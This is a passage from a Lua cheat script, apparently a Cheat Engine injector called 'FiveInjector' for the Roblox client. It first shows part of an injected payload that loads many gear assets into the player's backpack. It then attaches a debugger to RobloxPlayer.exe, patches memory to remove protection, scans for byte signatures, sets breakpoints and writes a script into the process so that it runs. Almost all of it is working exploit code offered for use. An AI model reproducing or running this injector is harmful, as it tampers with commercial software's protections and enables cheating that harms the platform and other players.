game:GetService("InsertService"):LoadAsset(35366215)--roboarm
for _, v in pairs(insrt96:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt97 =
game:GetService("InsertService"):LoadAsset(64160547)--hoverboard
for _, v in pairs(insrt97:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt98 =
game:GetService("InsertService"):LoadAsset(54694334)--vilethorn
for _, v in pairs(insrt98:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt99 =
game:GetService("InsertService"):LoadAsset(69210321)--darkstaff
for _, v in pairs(insrt99:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt100 =
game:GetService("InsertService"):LoadAsset(62827121)--evilwand
for _, v in pairs(insrt100:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt101 =
game:GetService("InsertService"):LoadAsset(18010691)--awestar
for _, v in pairs(insrt101:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt102 =
game:GetService("InsertService"):LoadAsset(51302649)--swordandshield
for _, v in pairs(insrt102:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt103 =
game:GetService("InsertService"):LoadAsset(10760425)--sparkstaff
for _, v in pairs(insrt103:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt104 =
game:GetService("InsertService"):LoadAsset(73799348)--undoingaxe
for _, v in pairs(insrt104:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt105 =
game:GetService("InsertService"):LoadAsset(73232786)--dragonstaff
for _, v in pairs(insrt105:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt106 =
game:GetService("InsertService"):LoadAsset(73232825)--screeshpotion
for _, v in pairs(insrt106:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt107 =
game:GetService("InsertService"):LoadAsset(73265108)--dualcannon
for _, v in pairs(insrt107:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt108 =
game:GetService("InsertService"):LoadAsset(74385438)--gravitron
for _, v in pairs(insrt108:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt109 =
game:GetService("InsertService"):LoadAsset(74385386)--razevenge
for _, v in pairs(insrt109:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt110 =
game:GetService("InsertService"):LoadAsset(74385418)--glorylauncher
for _, v in pairs(insrt110:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
local insrt111 =
game:GetService("InsertService"):LoadAsset(73888479)--spikesplosion
for _, v in pairs(insrt111:GetChildren()) do
if
not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
v:Clone().Parent =
game.Players.LocalPlayer.Backpack
end
end
wait()
if
(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then

game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."):remove()
end
end))
end
end))
end) ]==]
local memory = allocateSharedMemory("[ROBLOX]-ScriptTrainer",
string.len(script) + 5);
local mem = toAddr(memory);
local len = toAddr(string.len(script));
local success_catch = writeString(mem, script);
writeBytes(ESP + tonumber("0x" .. GlobalOffset), tonumber("0x" ..
mem:sub(7, 8)), tonumber("0x" .. mem:sub(5, 6)), tonumber("0x" .. mem:sub(3,
4)),tonumber("0x" .. mem:sub(1, 2)));
writeBytes(ESP + tonumber("0x" .. GlobalOffset) + 4, tonumber("0x" ..
len:sub(7, 8)), tonumber("0x" .. len:sub(5, 6)), tonumber("0x" .. len:sub(3,
4)),tonumber("0x" .. len:sub(1, 2)));
--print("[FiveInjector]: Script Execution location " ..
GetAddress(toAddr(ESP), GlobalOffset) .. " with length " .. tonumber("0x" .. len));
pcall(function() debug_removeBreakpoint(EIP); end);
debug_continueFromBreakpoint(co_run);
messageDialog("studio.ashx found and " .. (success_catch and
"Nicholas12323 successful" or "failed to inject."), (success_catch and 2 or 1), 2);
--else
--debug_continueFromBreakpoint(co_run)
--end
end

function Exec()
local unprotect_mem = {00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 01, 00,
01, 01, 01, 01, 01, 00, 01, 00, 01, 00, 00, 00, 01, 01, 01, 00, 00, 00, 00, 00, 01,
00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00,
00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00}
writeBytes("00F24118", unprotect_mem);
pcall(function() object_destroy(Interface.MainFrame); end);
Exploits, Successes, AddressList, Interface = {}, {}, {}, {};
--AddExploit("level", {0x89, 0x74, 0x24, 0x0C, 0x89, 0x06, 0xE8}, 4)
AddExploit("script", {0x83, 0xEC, 0x14, 0x56, 0x57, 0x8B, 0x7C, 0x24, 0x2C,
0x85, 0xFF}, 3)
for i, v in pairs(Exploits) do
local exploit = GetExploit(i);
if (exploit == nil) then
print("[FiveInjector]: Failed \"" .. v[1] .. "\"");
else
pcall(function() debug_removeBreakpoint(exploit); end);
debug_setBreakpoint(exploit);
AddressList[v[1]] = exploit;
table.insert(Successes, v[1]);
print("[FiveInjector]: Success \"" .. v[1] .. "\" [" ..
exploit .. "]");
end
end
print("[FiveInjector]: " .. tostring(#Successes) .. "/" ..
tostring(#Exploits) .. " exploits found.")

if #Successes == #Exploits then


print("[FiveInjector]: Attached successfully. Listening for studio.ashx
now...");
else
messageDialog("[FiveInjector]: Initializing failed. FiveInjector fails
to launch", 1, 2);
end
end

function myCheck(_)
local id = getProcessIDFromProcessName("RobloxPlayer.exe");
if id ~= nil then
for i, v in pairs(NoRun) do
if v == id then
return
end
end
table.insert(NoRun, id);
openProcess(id);
debugProcess(2);
Exec();
else
local id2 = getProcessIDFromProcessName("RobloxPlayerBeta.exe");
if id2 ~= nil then
for i, v in pairs(NoRun) do
if v == id2 then
return
end
end
table.insert(NoRun, id2);
openProcess(id2);
debugProcess(2);
Exec();
end
end
end

t = createTimer(nil)
timer_setInterval(t, 500)
timer_onTimer(t, myCheck)
timer_setEnabled(t, true)

You might also like